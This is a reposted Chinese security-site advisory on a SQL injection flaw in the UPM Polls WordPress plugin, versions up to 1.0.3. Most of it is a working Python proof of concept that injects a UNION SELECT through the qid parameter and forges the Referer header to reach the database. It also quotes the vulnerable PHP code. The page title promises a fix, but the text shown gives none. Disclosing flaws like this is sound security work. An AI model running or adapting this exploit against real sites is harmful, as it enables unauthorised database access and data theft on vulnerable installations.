好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

UPM Polls <= 1.0.3 SQL注射缺陷及修复 - 网站安全

标题: UPM Polls <= 1.0.3 SQL Injection Vulnerability 

作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) 

软件下载地址: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip

影响版本: 1.0.3 (已测) 

 PoC 

--- 

#!/bin/python 

  

import re 

import urllib2 

import urlparse 

  

url = " http://www.2cto.com /wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20") 

req = urllib2.Request(url=url, headers={"Referer": url}) 

content = urllib2.urlopen(req).read() 

match = re.search(r"`(.+)`", content) 

  

print match.group(1) if match else "None" 

  

--------------- 

Vulnerable code 

--------------- 

$ref = parse_url( $_SERVER['HTTP_REFERER'] ); 

if( $_SERVER["HTTP_HOST"] != $ref['host'] ){ 

    exit('UPM Error:128'); 

  

... 

  

$QID = $_GET['qid']; 

$POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);

查看更多关于UPM Polls <= 1.0.3 SQL注射缺陷及修复 - 网站安全的详细内容...

  阅读:50次